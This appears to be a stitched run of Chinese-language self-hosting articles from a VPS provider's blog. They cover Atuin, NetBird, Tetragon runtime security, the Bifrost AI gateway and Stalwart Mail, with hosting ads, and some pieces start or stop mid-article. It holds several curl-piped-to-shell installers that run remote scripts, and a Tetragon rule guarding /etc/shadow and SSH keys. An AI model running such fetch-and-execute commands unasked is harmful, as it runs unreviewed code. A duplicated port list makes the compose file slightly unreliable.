自架 Atuin 的甜蜜點是個人或小團隊在管理數台到數十台 VPS。每天在多台機器之間切換，歷史紀錄分散是真實痛點，自架可以把這份資料完全留在自己掌控的伺服器上。

不太適合的情況有兩種。一是純粹只用一台機器，那 SQLite 本地版就夠了，連帳號都不必註冊。二是組織有嚴格的合規限制要求每條指令必須有稽核軌跡——Atuin 不是為了稽核設計的，使用者隨時可以刪除自己的歷史紀錄，這是個人工具的定位，不是 SIEM。

備份策略上，PostgreSQL 那邊用 pg_dump 加異地儲存即可。但更關鍵的是金鑰備份：每個用戶端的 ~/.local/share/atuin/key 應該離線存一份，密碼管理器或實體紙本都行。伺服器資料庫掛了可以從 dump 還原，金鑰沒了就真的沒了。

shell history 看起來小，每天用 shell 工作的人卻會被它的爛設計拖累一輩子。把 Atuin 跟自架同步服務搭起來，等於把過去散落在各台機器、各個檔案的指令歷史，整合成一份可搜尋、可分析、加密留存的個人知識庫。

NCSE Network 的 VPS 採 Intel Gold CPU 與 NVMe SSD，位於臺灣是方電訊機房，跑 Atuin server 加 PostgreSQL 的資源需求極低，最小規格方案就綽綽有餘，延遲低、頻寬穩，適合作為個人開發工具鏈的長期落腳處。詳情可到 ncse.tw 查看方案。

WireGuard 把端對端加密這件事壓到核心模組裡，效能跟簡潔度都遠勝過 OpenVPN 或 IPsec。但 WireGuard 本身只負責「兩個 peer 之間怎麼加密通訊」——peer 怎麼找到對方、誰能加入網路、ACL 怎麼設、SSO 怎麼接，全是上層問題。Headscale 把 Tailscale 的控制平面開源化，已經解決了很大一塊；NetBird 則把問題拉到「整個企業 Zero Trust」這個層級。

Headscale 是控制平面，NetBird 是完整網路平台

把兩個專案放在一起比較其實有點失焦——Headscale 的設計目標就是「給 Tailscale 客戶端一個自架的協調節點」，所以它接受了 Tailscale 客戶端的全部限制：閘道靠 DERP relay、ACL 用 Tailscale 那套 JSON 描述、SSO 走 Tailscale Connector 邏輯。優點是體積極小、跑得起來幾乎零維運；缺點是想擴充功能就會撞到 Tailscale 客戶端不開源的牆。

NetBird 從第一天就是自己一套體系。它有自己的客戶端（Go 寫的，BSD-3 授權）、自己的管理服務、自己的 signal server 跟 relay。完整的 Zero Trust 功能堆疊長這樣：

• 管理服務：peer 註冊、ACL、user/group 規則、稽核日誌
• Signal Server：peer 間 NAT traversal 的協調訊號，不轉發實際流量
• TURN/Relay：peer 直連失敗時的中繼，用 coturn 或 NetBird 自家 relay
• 內建 IdP：v0.62 之後直接內建，不必再架 Keycloak
• 反向代理：v0.65 加進來的，等同於 Tailscale Funnel

換句話說 Headscale 解的是「Tailscale 控制平面屬於別人」這個問題，NetBird 解的是「整套企業遠端存取要怎麼自家化」這個更大的問題。

v0.65 把五個服務收進一個容器的工程取捨

NetBird 早期的 Docker Compose 配置長得很「微服務」：dashboard 一個容器、管理服務一個、signal 一個、coturn 一個、外加 Caddy 做 reverse proxy。實際運行五六個容器、每個都要顧 health check 跟 volume，部署門檻直接讓不少團隊放棄。

v0.65 釋出的 Unified Server Binary 是有意識的去微服務化決策。對於自架場景來說，management、signal、relay 三個服務通常都跑在同一台機器上，拆成三個容器只是增加部署複雜度，沒有實質的擴展性好處。把它們合進同一支 Go binary 的好處很直接：

• 只剩一個容器要管，重啟、升級、看 log 都簡單
• 內部通訊不必走 TCP socket，直接 in-process function call
• 設定檔合併成單一 YAML，不必對齊三份 config 的版本
• 記憶體基線從原本 500 MB 左右降到 200 MB 上下

代價是大型部署要橫向擴展時要把容器拆回去——但對絕大多數的自架使用者來說，這個取捨完全合理。

內建 IdP 把自架的心理門檻砍掉一大半

舊版 NetBird 強制依賴外部 OIDC 提供者，意味著想自架的人得先去學 Keycloak 或 Authentik。光是 Keycloak 一個 realm 設下來，對非身分驗證背景的工程師就是半天的學習曲線。

v0.62 引進內建 IdP 之後，整個流程變成：跑自架腳本、腳本自動建立第一個 admin user、從 dashboard 邀請其他成員、他們收到 email 就能登入。對於 30 人以下的小型團隊這就夠了。內建 IdP 支援本地帳號、密碼、TOTP 二階段驗證，完全是合理的最小集合。

需要走 SSO 的，再把外部 IdP 接上來——NetBird 支援 Authentik、Keycloak、Auth0、Google Workspace、Microsoft Entra ID，配置時切到外部 IdP 模式即可，使用者資料在遷移時可以保留。

這個設計取捨值得稱讚。Headscale 跟 Tailscale 的 SSO 都是「沒它就動不了」，內建 IdP 把這個前置條件拿掉，自架的心理門檻降了一大截。

反向代理補上 Funnel 那塊

Tailscale Funnel 讓 tailnet 裡的服務能對公網開放——把 service.tailnet.ts.net 變成可以從外部存取的網址，而且自動配 HTTPS。Headscale 一直沒有這個功能，因為它本質上就是個 control plane，不負責資料平面。

NetBird v0.65 的內建反向代理直接解決這件事。在管理介面上點幾下就能把某個 peer 上的服務（例如 internal-app:3000）對應到一個 *.netbird.example.com 子網域，自動申請 Let’s Encrypt 憑證、自動加上認證閘道、只允許網內成員存取。

底層的實作是把 Caddy 內嵌到管理服務裡——這也是為什麼 v0.65 之前需要在 Compose 旁邊另外跑一個 Caddy。內嵌之後一切都包在同一支 binary 裡，憑證、規則、log 集中管理。

對於 dev 環境想暫時開放某個服務給合作夥伴看、或是 staging 環境要讓 QA 從家裡連進來，這個功能比起「先架 Nginx 再設 SSO 再開防火牆規則」省掉太多步驟。

自架硬體配置與容量規劃

NetBird 自架管理服務的資源需求其實不大，因為 peer 之間是直連，管理服務只負責協調跟 ACL 評估。實務參考點：

• 小型團隊（< 50 peer）：1 vCPU、2 GB RAM、20 GB SSD 就夠了
• 中型部署（50–500 peer）：2 vCPU、4 GB RAM、50 GB SSD，relay 流量是主要變數
• 大型部署（500+ peer）：建議把 relay 拆出去獨立部署，避免 NAT traversal 失敗時 relay 流量擠爆管理節點

頻寬規劃要注意 relay 那一塊。理論上 peer 直連時 relay 不耗流量，但實際上有 NAT 環境（特別是雙重 NAT、企業防火牆封 UDP）會強制走 relay。觀察 NetBird 統計儀表板上的 relay 流量比例，超過 30% 就要考慮升級頻寬或部署多個地理位置的 relay。

控制節點不一定要放臺灣——它只處理控制訊號，延遲幾十毫秒對使用體驗沒有實際影響。但 relay 節點建議放在 peer 集中的區域，因為 relay 流量等於完整的應用流量。臺灣團隊的 relay 放臺灣本地會比走海外回程明顯順暢。

Docker Compose 五分鐘部署

從 v0.65 開始，官方 quickstart 腳本就是抓 unified binary 的 Compose 範本，問幾個問題然後跑起來：

1
2
3

export NETBIRD_DOMAIN=netbird.example.com
curl -fsSL https://github.com/netbirdio/netbird/releases/latest/download/getting-started-with-zitadel.sh \
  | bash

腳本會問對外網域（DNS 要事先指過來）、管理員帳號 email、是否啟用內建反向代理。跑完會吐出 admin 密碼，打開 dashboard 登入之後，安裝指令會直接顯示在介面上，複製到目標機器執行：

1
2

curl -fsSL https://pkgs.netbird.io/install.sh | sh
netbird up --management-url https://netbird.example.com:33073

第二行會跳出瀏覽器登入流程，或者顯示一個 setup key 讓你貼。完成之後這台機器就加進 mesh，可以從其他 peer 直接 ping 它的 NetBird IP。

正式上線前要調的幾個地方：

反向代理憑證：預設用 Let’s Encrypt staging，要切到 production 把 config 裡的 ca 設成 letsencrypt。

Setup Key 過期：批次部署用的 setup key 預設一個月過期，CI/CD 跑容器時要避開這個陷阱，要嘛用長期 key、要嘛在 pipeline 裡動態取得。

Relay 認證：開放公網的 relay 一定要打開 hmac secret，否則任何人都能拿來當免費 TURN 中繼。

什麼情況下還是該選 Headscale

NetBird 不是 Headscale 的全面替代品。幾個明顯該留在 Headscale 的場景：

已經深度使用 Tailscale 客戶端：MagicDNS、Tailscale SSH、Funnel 客戶端側的整合在 Tailscale 原生客戶端上更成熟。Headscale 讓既有 Tailscale 部署能無痛搬控制平面，NetBird 則要全套換掉客戶端。

手上的設備跑著 Tailscale-only 的整合：某些 IoT 設備、NAS 內建 Tailscale 客戶端，這些東西沒有 NetBird 版本，硬上會卡住。

只要最小化的 mesh VPN：如果只想串幾台 VPS 不要被公網掃到、不在乎 SSO 跟 ACL，Headscale 五十 MB 的 binary 就是最輕的方案。NetBird 那些功能會變成沒在用的程式碼。

把企業遠端存取搬回自家機房

Zero Trust 網路在 2026 年已經是企業合規的硬性需求，Zscaler、Cloudflare Access 這類 SaaS 是預設選項。但成本曲線跟 Datadog 是同一回事——使用者規模上去之後價錢爆炸，而且員工存取資料的流量全部要送到第三方廠商，敏感產業（金融、醫療、政府）光是稽核就過不去。

NetBird 把 SaaS Zero Trust 平台的功能完整自家化，授權是 BSD-3-Clause，沒有「企業版才有的功能」這種陷阱。對於想把遠端辦公、CI/CD agent、伺服器運維通道整合在同一張網的團隊，這套東西是少數真正把所有元件都開源的方案。

要在臺灣本地架設 NetBird 控制平面與 relay 節點，網路延遲跟跨境穩定度是決定使用體驗的關鍵。NCSE Network 提供位於是方電訊機房的 VPS 主機與 IP Transit 服務，臺灣骨幹直連對於 UDP-heavy 的 mesh VPN 流量特別友善，relay 節點放在這裡能明顯改善 NAT 穿透失敗時的回退體驗。前往 ncse.tw 了解規格與方案。

Tetragon 是 Cilium 旗下的子專案，由 Isovalent 起家、捐進 CNCF，定位是 eBPF-based Security Observability 與 Runtime Enforcement。它跟 Cilium 共用底層機制但完全可以獨立部署，跑在 Debian、Ubuntu 或任何 5.10 以上核心的 Linux 上都行。核心賣點是：傳統 auditd 是事件水龍頭，需要在 user space 大量過濾才看得出名堂；Falco 把規則引擎拉到 user space 處理；Tetragon 把過濾、enrichment、甚至 enforcement 動作全部編譯成 eBPF 程式，直接掛在核心的 kprobe 與 tracepoint 上。

容器內部到底發生什麼，是多數 VPS 的可見性盲區

跑 Docker 的 VPS 管理員多半遇過這種狀況：某天伺服器 CPU 莫名升高，docker stats 顯示某個容器吃滿一顆核心，但裡面到底在做什麼說不清楚。docker logs 只看得到應用程式自己印出的東西，惡意 process 通常不會貼心地寫一行「正在挖礦」。要更深一層，傳統選項只有兩個：在容器裡面裝 strace 或 auditctl 規則。前者效能崩潰，後者吞掉大量 disk I/O 還難解讀。

問題本質是 Linux 把「容器」看成一組 namespace 加 cgroup 的組合，並沒有一個原生的「容器內事件 audit」介面。從主機角度看，容器裡的 process 跟主機上其他 process 沒兩樣，PID 在主機 namespace 裡是另一個數字，syscall 來了就服務。要把「主機 PID 12345 屬於 nginx 容器」這個對應關係加回事件流裡，就需要一個既懂 Linux 又懂容器 runtime 的代理層。

過去這個位置長期被 Falco 佔著。Falco 在 2016 年從 Sysdig 分支出來，2024 年成為 CNCF 畢業專案，產品成熟、規則豐富、社群活躍。它撐起了容器 runtime security 這個類別，沒有理由貶低它。Tetragon 之所以還能切進這個市場，是因為它對「攔截點該放在哪一層」的判斷不一樣。

Falco 不是不夠好，是它把判斷工作交給了 user space

Falco 的架構是：在核心用 eBPF probe（或舊版的 kernel module）抓 syscall 事件，把原始事件透過 ring buffer 送到 user space 的 Falco daemon，daemon 在 user space 跑 rule engine 比對 YAML 規則，命中就觸發 alert。這套設計的好處是規則語言彈性高、寫起來像在寫 SIEM 條件式；代價是高吞吐情境下 user space 要消化大量事件，做不完就丟、或者把 CPU 吃掉一塊。

公開壓測結果差異不小。Falco 自己的 benchmark 在中等工作負載下大約是 1–2% CPU 開銷；獨立第三方測試在高 syscall 吞吐情境下測到 5–10%，主要花在 user space 的解析與規則比對。Tetragon 把這部分搬回核心：用 eBPF map 在核心裡完成 binary 比對、引數過濾、cgroup 限定，事件根本不需要送到 user space 就先被過濾掉。多數公開測試把 Tetragon 的長期 CPU 開銷壓在 1% 以下，2025 年底 SciTePress 的一份比較研究量到 Tetragon 在 CPU 上勝 Falco、在記憶體上略遜於 Falco。

更關鍵的差別在 enforcement。Falco 自身只負責偵測，要做阻擋得搭 Falco Talon 或自己接 webhook 觸發外部動作，反應週期是「偵測 → user space → 外部 process → 做出反應」，整段大概數十毫秒到秒級。Tetragon 可以在 eBPF program 命中規則的當下直接 send SIGKILL 給該 process，或在 syscall 還沒回來之前 override return value 讓那次 syscall 失敗，整個閉環在核心裡完成，延遲在微秒等級。對於攔截「容器裡被植入的程式去讀 /etc/shadow」這類動作，這個差別是「擋下來」跟「事後才知道」的差別。

TracingPolicy 是 Tetragon 學習曲線的重心

Tetragon 暴露給使用者的主要介面叫 TracingPolicy，是一份 YAML，描述要在核心哪個 hook 點掛 eBPF program、要看什麼引數、命中什麼條件、要做什麼動作。一份最小化的 policy 大概長這樣：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "watch-sensitive-files"
spec:
  kprobes:
  - call: "security_file_open"
    syscall: false
    args:
    - index: 0
      type: "file"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Prefix"
        values:
        - "/etc/shadow"
        - "/root/.ssh/"
      matchActions:
      - action: Sigkill

這份 policy 的意思是：在 security_file_open 這個 LSM hook 上掛 probe，凡是路徑開頭是 /etc/shadow 或 /root/.ssh/ 的開檔行為，直接送 SIGKILL 給發起者。注意這裡選的是 security_file_open 而不是 openat syscall——後者每秒會被叫上萬次、前者只在真正進到 VFS 開檔流程時觸發，filter 成本低很多。

matchBinaries 可以把這個規則進一步限縮到只對特定執行檔生效；matchNamespaces 可以限定只看某個容器的 PID/UTS namespace；matchCapabilities 可以鎖定只有有 CAP_SYS_ADMIN 的 process 才被攔截。這些 selector 全部編譯進 eBPF program 裡跑，意味著「找出特權容器存取敏感檔的瞬間」可以做到接近零誤報的精準偵測。

實務上的建議是不要從零自己寫 policy。Tetragon 官方倉庫有 examples/tracingpolicy/ 目錄，cilium/tetragon 在 GitHub 上的 policy-library 目錄收錄了監控 sudo 提權、偵測 reverse shell、攔截 kubectl exec 進容器、防止寫入 /proc/sys 等等的範本。直接拿來改、不要自己土法煉鋼是最省時的路。

不靠 Kubernetes 也能跑：單機 VPS 的部署方式

Tetragon 文件大半在講 Kubernetes 安裝，但實際上它可以當成一支獨立 daemon 跑。在一臺裝有 Docker 與 5.10 以上核心的 VPS 上，最低限度的指令是：

1
2
3
4
5
6
7

docker run --name tetragon --rm -d \
  --pid=host --cgroupns=host --privileged \
  -v /sys/kernel/btf/vmlinux:/var/lib/tetragon/btf \
  -v /var/log/tetragon:/var/log/tetragon \
  -v /etc/tetragon/tracing-policies:/etc/tetragon/tetragon.tp.d \
  --env "TETRAGON_EXPORT_FILENAME=/var/log/tetragon/tetragon.log" \
  quay.io/cilium/tetragon:v1.7.0

--privileged 是必要的，因為要 load eBPF program 並掛上 kprobe。--pid=host 與 --cgroupns=host 讓 Tetragon 看得到主機完整的 process 與 cgroup 拓撲，這樣它才能把事件回填上「這個 PID 屬於哪個容器」的資訊。/sys/kernel/btf/vmlinux 這個 mount 是給 BTF 用的，eBPF program 靠它做 CO-RE（Compile Once, Run Everywhere），不必依賴開發機跟正式機核心完全一致。

policy 直接丟進 /etc/tetragon/tracing-policies/，daemon 啟動時會掃整個目錄載入。要在運行中加新 policy 也可以用 tetra CLI 從 grpc 動態載入。事件預設輸出成 JSON Lines 寫進 /var/log/tetragon/tetragon.log，要轉給 SIEM 直接接 Vector 或 Fluent Bit 把它推到下游就好。

需要留意的是 BPF LSM 相關的 enforcement 動作（例如 file open 攔截）需要核心開啟 CONFIG_BPF_LSM 並在 /etc/default/grub 加 lsm=bpf。Debian 13、Ubuntu 24.04 預設都符合，CentOS Stream 9 系列需要自己啟用。沒有開 BPF LSM 時 Tetragon 仍能做偵測，只是 SIGKILL 之外的精細 enforcement 動作會降級。

適合放進哪一臺機器、不適合放進哪一臺

Tetragon 的甜蜜點是「跑著面向公網應用、又無法完全信任應用程式碼安全的 VPS」。電商後端、Webhook 接收器、表單轉發、社群媒體機器人這類場景一旦被植入 webshell，傳統監控的反應點通常是「奇怪流量被注意到」，而那時已經晚了。把監控 connect() 到非預期 IP、寫入 /tmp/*.sh 後立刻 execve 之類的行為策略掛上去，能在被植入的下一秒就觸發告警甚至直接 KILL。

不適合的是「規模小到不會被當目標」的個人實驗 VPS。Tetragon 本身輕量，但 policy 設計與事件處理需要時間經營，沒有事件需要應對時這套機制是純成本。同樣道理，跑 LAMP + WordPress 又只開 80/443 的個人站，先做好 Fail2ban、CrowdSec、自動更新可能比導入 Tetragon 更划算。

把 Tetragon 想成「容器內的 IDS/IPS」是正確的心智模型。它不取代防火牆、不取代 image scanner、不取代 WAF——它補的是這些工具都看不見的那一層：應用程式自己開始做奇怪事的瞬間。對於把多個容器塞在同一臺 VPS、又跑開放給外部使用者的服務的場景，這個觀察點過去只能靠商業 EDR 取得，現在用一支 open source binary 加幾份 YAML 就能架起來。

正在為一批面向公網的應用挑伺服器、又希望從第零天就把執行期安全納入規劃，可以參考 NCSE Network 的臺灣 VPS 服務——使用 Intel Gold CPU 與 NVMe SSD、機房設在是方電訊，預設核心版本支援 eBPF 完整功能，跑 Tetragon、Cilium 之類的 kernel-level 工具不需要額外調整。

LiteLLM 把這個類別從概念推成預設選項。從 2023 年一個 Python SDK 出發，到 2026 年已經支援超過一百家供應商，自架版本接管虛擬金鑰、成本追蹤、速率限制與多供應商容錯。但 Python 的 GIL 在高吞吐情境下會撞到上限。Bifrost 在 2025 年由 Maxim 團隊以 Apache 2.0 釋出，用 Go 重寫整套閘道，在 5K RPS 持續壓測下只多 11 微秒延遲，宣稱比 LiteLLM 快上五十倍。

AI Gateway 已經不是選配，而是基礎建設的一層

把 LLM 呼叫直接散落在各個服務裡會在三件事上出問題。第一是成本歸屬：CFO 拿到 Anthropic 月帳問哪個產品線吃了八成額度，沒有閘道就只能靠埋 log 拼湊。第二是供應商容錯：OpenAI 半夜當機，希望業務流程自動切到 Vertex AI 的 Gemini，沒有閘道就得讓每個應用各自實作 fallback 邏輯。第三是治理：給合約商一把 key、給內部工程師另一把、不同團隊的預算上限不同，原生 API 沒有這個概念。

這三個問題單獨解都不難，但要做到統一就需要一個中介層。AI Gateway 接管的就是這層——它對外提供 OpenAI 相容的 endpoint，對內把流量分派、計費、稽核、容錯抽象成可組態的策略。當 2025 年中型團隊普遍導入這套設計之後，這個類別就從「可選工具」變成「跟 reverse proxy 同等地位的基礎元件」。

LiteLLM 把生態系拉起來，也撞到了 Python 的天花板

LiteLLM 之所以變成主流，是因為它把所有廠商的請求格式統一成 OpenAI Chat Completions。一個 Anthropic、一個 Bedrock、一個 Vertex AI，原生 SDK 的參數、串流格式、錯誤碼全部不同；LiteLLM 在中間做翻譯，下游應用只需要假設自己在打 OpenAI。Proxy 模式進一步把這層搬進獨立程序，搭配 Postgres 做虛擬金鑰、預算、稽核日誌，自架版本可以撐起整個公司的 LLM 流量分發。

問題出在它是 Python。GIL 讓單一程序的請求處理被序列化，正式環境想吃滿一台 8 核心機器就得開八個 process 在 load balancer 後面排隊。社群實測在 1K RPS 以上的壓力下，LiteLLM 大約會額外加上 40 毫秒的閘道延遲——對於需要等模型回應的同步請求或許不痛，但對於 agent 場景一次工作流要打十幾次 LLM 的情境，這個延遲會累加成可觀的尾延遲。

更實際的限制是部署複雜度。LiteLLM 在正式環境通常需要 Postgres 存設定、Redis 做快取、Prometheus 收 metric，外加 N 個 worker process。對於只想跑一台 VPS 處理幾百 QPS 的中型團隊，這套堆疊偏厚。

Bifrost 換了一條路徑：Go、零外部依賴、Plugin 化

Bifrost 沒有試圖比 LiteLLM 多支援哪一家廠商，而是把 Gateway 這層重新設計。整個服務用 Go 寫成單一 binary，預設不需要外接資料庫，啟動之後直接吃進設定檔或透過 Web UI 動態調整。把 LiteLLM 那套「Postgres + Redis + 多 worker」的編排簡化成一支執行檔，是它最直接的賣點。

架構分成幾個明確的層：核心提供供應商抽象與請求/回應 schema、Transport 層處理 HTTP 與 WebSocket、Plugin 系統用來掛載治理、快取、稽核、可觀測性。語義快取、MCP Gateway、預算控制、OIDC 登入全部都是 first-class plugin，可以選擇開啟或拔掉。

效能數字是它最被引用的點。在 5,000 RPS 的持續壓測下，Bifrost 的閘道層平均只額外增加 11 微秒延遲，記憶體佔用比 LiteLLM 對等配置少約六成八。這不是寫死的 mock，而是把請求實際轉發到 OpenAI、Anthropic 之後扣掉上游時間量出來的結果。對應的具體場景是：一個 agent 工作流要連續打八次 LLM，閘道本身只貢獻不到一毫秒的累積延遲。

不過效能數字向來要保留懷疑空間。50x 是廠商自己提出的對比，社群獨立實測差距更接近 30 到 40 倍，且只有在高並發下才會明顯。如果服務全天 QPS 不到一百，Bifrost 對比 LiteLLM 的差異主要不在速度，而在維運的單純程度。

語義快取與 MCP Gateway 才是真正省錢的兩個閥門

LLM 帳單最大的洩漏點不是延遲，是「同樣意思的問題被問了第二次」。語義快取的概念是用向量相似度去判斷新請求跟某個快取項目語意接近，直接回傳之前的回應。Bifrost 內建這套機制，支援 Valkey、Qdrant、Weaviate、Pinecone 作為向量儲存後端。實測 cache hit 大約在 5 毫秒回應，cache miss 含 embedding 計算約 60 毫秒。

這套機制在文件問答、客服 bot、agent 工具呼叫情境下命中率特別高。一個典型的內部知識庫機器人，員工 70% 的問題會集中在前 50 種意圖上，啟用語義快取之後 token 用量可以直接腰斬。LiteLLM 也有快取，但只做精確雜湊比對，要求字串完全一樣才命中，實務上能省下的 token 有限。

MCP Gateway 則是另一個 2025 下半年才浮上來的需求。當 agent 開始大量呼叫外部工具，每個請求都要把所有可用工具的 schema 塞進 prompt，光是「告訴模型有哪些 tool 可以用」就吃掉幾千個 token。Bifrost 的 MCP Gateway 接管 STDIO、HTTP、SSE 三種傳輸協定的 MCP server，做 tool filtering，每次請求只把當下相關的工具 schema 傳給模型。社群測得在多 MCP server 的 agent 工作流下，token 消耗可以再砍掉約一半。

語義快取省的是重複問題的錢，MCP Gateway 省的是工具描述的錢。兩者疊加是中型團隊把 LLM 月帳壓進預算的主要手段。

在 VPS 上自架的實務細節

Bifrost 的部署在小規模情境簡單到接近 trivial。一台 2 vCPU、4 GB RAM 的 VPS 就能撐住每秒一兩百個請求。最直接的方式是 Docker：

1
2
3
4
5
6

docker run -d --name bifrost \
  -p 127.0.0.1:8080:8080 \
  -v $(pwd)/data:/app/data \
  -e OPENAI_API_KEY=$OPENAI_API_KEY \
  -e ANTHROPIC_API_KEY=$ANTHROPIC_API_KEY \
  maximhq/bifrost:latest

這裡刻意只把 port 綁到 127.0.0.1，不要直接寫 -p 8080:8080——Docker 會繞過 UFW 直接打開公網的 8080，等於把含金鑰的管理 UI 裸奔在 Internet 上。啟動之後透過 SSH tunnel 或反向代理連到 127.0.0.1:8080 就會看到管理 UI，廠商金鑰、虛擬金鑰、預算、限流規則都從 Web UI 設定，落地存進 SQLite，重啟不會掉。要做語義快取的場景再多開一個 Valkey 或 Qdrant 容器即可。

正式環境前面再擺一層 Caddy 或 Nginx 接 TLS，公開的部分只暴露 /v1/chat/completions 這類 OpenAI 相容路徑，管理 UI 用 Basic Auth 或 OIDC 擋掉，或乾脆只開放從內網存取。日誌量在高流量下會迅速膨脹，內建的 Plugin 可以把詳細請求/回應內容轉發到外部物件儲存或 ClickHouse，避免本機磁碟塞爆。

如果整個機房在臺灣、目標讀者也在亞太，Gateway 跟使用者放同區可以省下大約 100 到 200 毫秒的往返時間，這段延遲在 agent 工作流的尾延遲上會被放大很多倍。

什麼時候不該換到 Bifrost

LiteLLM 在兩個情境下仍然是更務實的選擇。一是已經在用 LiteLLM 的 Python SDK 直接 import 進應用程式碼當函式庫使用——那個場景不需要獨立閘道，Bifrost 也沒打算提供等價的 Python SDK。二是依賴 LiteLLM 某個特定 plugin 或廠商整合，例如某個冷門地區的本地 LLM 服務商，LiteLLM 多年累積的廠商覆蓋目前仍領先。

效能數字也要看真實負載決定價值。QPS 在 50 以下的小團隊，Python 的天花板根本碰不到，這時候挑 LiteLLM 還是 Bifrost 比的是維運偏好，不是速度。Bifrost 的優勢真正會體現在 agent 工作流、批次推論、企業內部多應用共享閘道的中高並發場景。

結論

AI Gateway 從可選工具變成中型團隊基礎建設的一層，已經是 2026 年的既定事實。LiteLLM 撐起了這個類別的早期，並把 OpenAI 相容介面變成行業預設；Bifrost 把效能瓶頸打開、用 Go 簡化部署、把語義快取與 MCP Gateway 做成內建。對於正在規劃自架 AI Gateway、或從 LiteLLM 評估升級的團隊，Bifrost 在 2026 年的版本已經穩定到可以投入正式環境。

把 AI Gateway 放在臺灣本地有兩個現實好處：使用者到閘道之間少 100 到 200 毫秒的延遲、流量不必繞出國跨海。NCSE Network 在臺灣是方電訊機房提供配備 Intel Gold CPU 與 NVMe SSD 的 VPS 主機，搭配充足的對外頻寬，適合作為自架 AI Gateway 的落腳點。需要把 LLM 流量收回自己手裡的團隊，可以參考 NCSE Network 的 VPS 方案。

Stalwart Mail Server 從另一個方向解這個問題。它用 Rust 從頭實作了一支完整的信箱伺服器，把 SMTP、IMAP4rev2、POP3、JMAP、CalDAV、CardDAV、WebDAV、反垃圾、DKIM 簽章、ManageSieve 全部塞進同一支 binary。記憶體下限 512MB，啟動時間以秒計算。在臺灣自架信箱、又不想被 Mailcow 那一堆容器壓垮的人，現在多了一個值得認真評估的選項。

為什麼信箱伺服器要這麼多元件

傳統信箱架構的複雜不是設計者愛找麻煩，而是歷史包袱。SMTP、IMAP、POP3 是 1980 到 1990 年代分開長出來的協定，當時各自的 reference implementation 也分開維護。Postfix 寫 SMTP、Dovecot 寫 IMAP，兩邊都已經是十幾年的成熟專案，沒有人想合併。反垃圾這層更晚才獨立出來，Rspamd、SpamAssassin 都是後來的事。每多一個元件，就多一份設定檔、一條 Unix socket、一個失敗點。

這套組合在大型郵件營運商那邊運作得很好，因為他們有專職的郵件工程師，每個元件單獨擴展更有彈性。對自架用戶來說剛好相反——大部分人只想要一支 binary 收信、寄信、不要被當垃圾，三件事完成就好。

Mailcow、Mail-in-a-Box、Docker-Mailserver 都是試圖把這套組合「打包好」的方案，但本質上還是同一個架構，只是把痛苦藏在 compose 檔後面。Stalwart 是少數真的從零開始、把所有協定用一套程式碼實作完的專案。

一支 binary 裡面有什麼

Stalwart 的 GitHub 倉庫到 2026 年 5 月已經累積一萬兩千多顆星，AGPLv3 授權，作者宣布專案已經「feature complete」，下一步是收尾到 1.0。它對外提供的功能可以拆成三層：

協定層完整支援現代與傳統的所有信箱協定：SMTP（含 ESMTP、Submission、TLS 全套）、IMAP4rev2 並向下相容 IMAP4rev1、POP3、JMAP for Mail。JMAP 是 IETF 在 2019 年標準化的新一代信箱協定，把 IMAP 那種「保持連線、逐封同步」的模式換成 HTTP/JSON，行動裝置上的同步效率明顯改善。Fastmail 已經整套切過去，但開源端真正完整支援的伺服器不多，Stalwart 是其中之一。

協作層順手把 CalDAV、CardDAV、WebDAV 也補齊，意思是同一支伺服器就能當行事曆、聯絡簿、雲端硬碟用。這部分在功能上類似 Radicale 加 Nextcloud 的子集，深度不及 Nextcloud，但對個人或小型團隊夠用。

處理層包含 DKIM 簽章、SPF/DMARC/ARC 驗證、貝氏與統計分類的反垃圾、DNS 黑名單查詢、灰名單、ManageSieve 過濾腳本。較新版本還支援 LLM 輔助的內容分類，把可疑郵件丟給本地端模型再判斷一次。

後端儲存可以選 RocksDB（預設、零設定）、PostgreSQL、MySQL、SQLite、FoundationDB、S3 相容物件儲存。對個人架站來說，RocksDB 用起來最省事，啟動時自動建檔，不需要另外管資料庫。

JMAP 的價值在哪裡

IMAP 的設計假設是「使用者開一個視窗、伺服器把資料夾狀態推給他、視窗關掉前連線一直開著」。在 PC 時代這個模型沒問題，到了行動裝置就開始崩壞——手機螢幕關掉、4G 切換、Wi-Fi 漫遊，每一次都意味著 IMAP 要重新 IDLE、重新對齊 UID。同一個信件清單可能被同步好幾次，電池一直被吃。

JMAP 改用 HTTP 短連線加上一個 state token。客戶端問伺服器「我上次同步到 state=42，給我之後的變更」，伺服器丟回變更清單，連線就斷掉。手機從睡眠醒來時，只要再問一次 state，馬上就能對齊到最新狀態。對信箱應用程式來說，這個改動讓背景同步快上一個量級，行動數據用量也下降。

問題是 JMAP 客戶端還少。iOS 內建 Mail、Apple Mail、大多數 Android 客戶端目前仍是 IMAP-only。能用 JMAP 的有 Thunderbird 的實驗性支援、Fastmail 自家客戶端、少數開源專案。所以 Stalwart 同時支援 JMAP 與 IMAP 是務實的——現在用 IMAP，等客戶端跟上就直接切過去，不必再換伺服器。

部署起來真的就一支 binary 嗎

最簡單的安裝方式是執行官方提供的 shell script：

1

curl --proto '=https' --tlsv1.2 -sSf https://get.stalw.art/install.sh | sh -s -- /opt/stalwart all

腳本會把 binary 放到 /opt/stalwart，建立 systemd unit，然後啟動一個 Web 設定精靈。第一次連上 https://your-ip:8080 會跳出初始化頁面，問你要不要產生 self-signed 憑證、建立 admin 帳號、選擇儲存後端。整個流程不到五分鐘。

Docker 方式則是：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

services:
  stalwart:
    image: stalwartlabs/stalwart:latest
    container_name: stalwart
    ports:
      - "25:25"
      - "465:465"
      - "587:587"
      - "110:110"
      - "995:995"
      - "143:143"
      - "993:993"
      - "110:110"
      - "995:995"
      - "4190:4190"
      - "8080:8080"
      - "443:443"
    volumes:
      - ./data:/opt/stalwart
    restart: unless-stopped

對外只要開這幾個 port，反向代理可以直接掛在 8080 前面用 Caddy 或 Nginx 包 TLS。如果直接讓 Stalwart 自己處理 TLS，它內建 ACME 客戶端，把網域指向 IP 之後會自動申請 Let’s Encrypt 憑證。

DNS 設定才是真的關卡

把 Stalwart 跑起來只佔自架信箱整件事的兩成，剩下八成是 DNS。少做任何一項都會被 Gmail、Outlook、iCloud 退信或直接送進垃圾匣。

最低必要的記錄有：

1. mail.example.com 的 A/AAAA 記錄指向 VPS 公網 IP
2. example.com 的 MX 記錄指向 mail.example.com，優先級 10
3. SPF：example.com TXT 記錄寫 v=spf1 mx -all，意思是只有 MX 指向的伺服器有權代寄
